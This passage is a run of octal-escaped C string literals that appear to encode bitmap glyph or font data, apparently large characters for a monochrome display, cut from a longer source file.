\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\\374\\374\\374\\370\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\377\\377\\377\\377\\377\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\360\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\\370\\370\\360\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\17\\0\"\n  \"\\0\\0\\0\\0\\0<<<<<<<<\\377\\377\\377\\377=<<<<<<<\\376\\377\\377\\377\\77<<\"\n  \"<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\\377\\37\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\70\\376\\377\\377\\377\\77\\70\\70\\70\\70\\70\\70\\70\\374\\377\\377\\377\\37\\34\\34\\34\\34\"\n  \"\\34\\34\\34\\0\\0\\0\\0\\0\\0\\0\\376\\377\\377\\377\\7\\0\\0\\0\\0\\0\\0\\0\\370\\377\\377\\377\\37\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\374>\\36\\37\\17\\17\\377\\377\\377\\377\\17\\17\\17\\37\\36>~\\374\\374\\370\"\n  \"p \\0\\0\\0\\0\\0\\37\\177\\377\\377\\377\\370\\340\\300\\200\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\17\\17\\37\\37\\37\\377\\377\\377\\377||\\370\\370\\370\\360\\360\\340\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\1\\3\\17\\377\\377\"\n  \"\\377\\377\\374\\0\\0\\0\\30>\\77~\\374\\370\\360\\360\\340\\340\\340\\340\\377\\377\\377\\377\\340\\340\\340\\360\\360\\370\\374\\177\\77\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\77\\77\\77\\77\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\"\n  \"\\300\\300\\0\\0\\360\\374\\377\\377\\17\\7\\7\\3\\7\\7\\37\\377\\377\\377\\374\\360\\0\\0\\0\\0\\0\\300\\360\\374\\377\\177\\37\\7\"\n  \"\\1\\0\\0\\0\\3\\17\\77\\177|\\370\\370\\360\\370\\370\\374\\177\\177\\77\\17\\3\\200\\340\\370\\374\\377\\77\\17\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\376\\177\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\374\\377\\77\\17\\7\\1\\0\\200\\340\\370\\374|>\\36\\36\\36>|\"\n  \"\\374\\370\\340\\200\\0\\0\\0\\200\\340\\370\\376\\177\\37\\17\\3\\0\\0\\0\\0\\0\\0\\77\\377\\377\\377\\340\\200\\200\\200\\200\\200\\340\"\n  \"\\377\\377\\377\\77\\0\\4\\6\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\7\\17\\7\\7\\7\"\n  \"\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\360\\374\\376\\377\\377\\37\\17\\7\\7\\7\\7\\7\\7\\17\\77\\377\\377\\376\\374\\360\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\77\\177\\377\\377\\374\\360\\300\\200\\0\\0\\200\\300\\340\\370\\377\\377\\177\\77\\17\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\371\\373\\177\\77\\77\\177\\377\\377\\377\\367\\347\\203\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\200\\0\\0\\340\\374\\376\\377\\377\\77\\7\\3\\0\\0\\0\\0\\0\\0\\1\\7\\17\\37\\77\\377\\376\\370\\360\\340\\300\\340\\360\\374\"\n  \"\\377\\177\\77\\16\\17\\77\\177\\377\\377\\374\\360\\340\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\340\\360\\371\\377\\177\\77\\77\\177\\377\\377\"\n  \"\\361\\340\\300\\200\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\\1\\7\"\n  \"\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\360\\370x`\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\177\\77\\17\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\177\\37\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\\377\\377\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\377\\377\\377\\377\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\77\\377\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77\\377\\377\\374\\370\\360\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\17\\37\\77>~\\374\\70\"\n  \"\\10\\0\\0\\0\\0\\0\\0\\0\\360\\370\\370\\360\\340\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\17\\37\\177\\377\\376\\374\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\377\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\377\\377\\377\\377\\374\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\377\\77\\17\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\376\\377\\77\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\10\\374|~\\77\\37\\37\\17\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340 \\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\360\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\17\\377\\377\\377\\177\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\"\n  \"\\340\\200\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\7\\17\\17\\216\\376\\374\\377\\177\\377\\374\\376\\316\\17\\17\\17\\7\\7\\7\\3\\3\"\n  \"\\3\\1\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\177\\37\\17\\3\\0\\0\\0\\3\\7\\37\\77\\376\\374\\370\\360\\300\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\377\\377\\377\\377\\377\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\"\n  \"\\36\\36\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\340\\340\\340\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\17\\17\\37\\377\\377\\377\\377\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\360\\370~\\77\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0xxxxxxxxxxxxxxxxxxxxxxxxx\"\n  \"x\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\370\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\370\\360\\360\"\n  \" \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\177\\17\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\376\\377\\377\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\177\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\36\\37\\77\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376\\177\\37\\17\\17\\7\\7\\7\\7\\7\\7\\17\\37\\77\\376\\374\\370\\360\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\374\\377\\377\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374~\\37\\177\\377\\377\\377\"\n  \"\\370\\200\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\177\\37\\17\\7\\1\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\7\\177\\377\\377\\377\\374\\360\\370\\376\\177\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\377\\377\\377\"\n  \"\\377\\7\\0\\0\\0\\0\\0\\3\\17\\37\\177\\377\\377\\370\\360\\340\\300\\300\\200\\200\\200\\200\\300\\300\\340\\360\\374\\377\\177\\77\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\60x\\70<<>\\36\\37\\37\\17\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\70|\\376~\\37\\17\\17\\7\\7\\7\\7\\7\\7\\7\\7\\17\\17\\37\\177\\377\\376\\374\\370\\340\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\341\\377\\377\\377\\377\"\n  \"\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\376\\177\\77\\37\\17\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\376\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  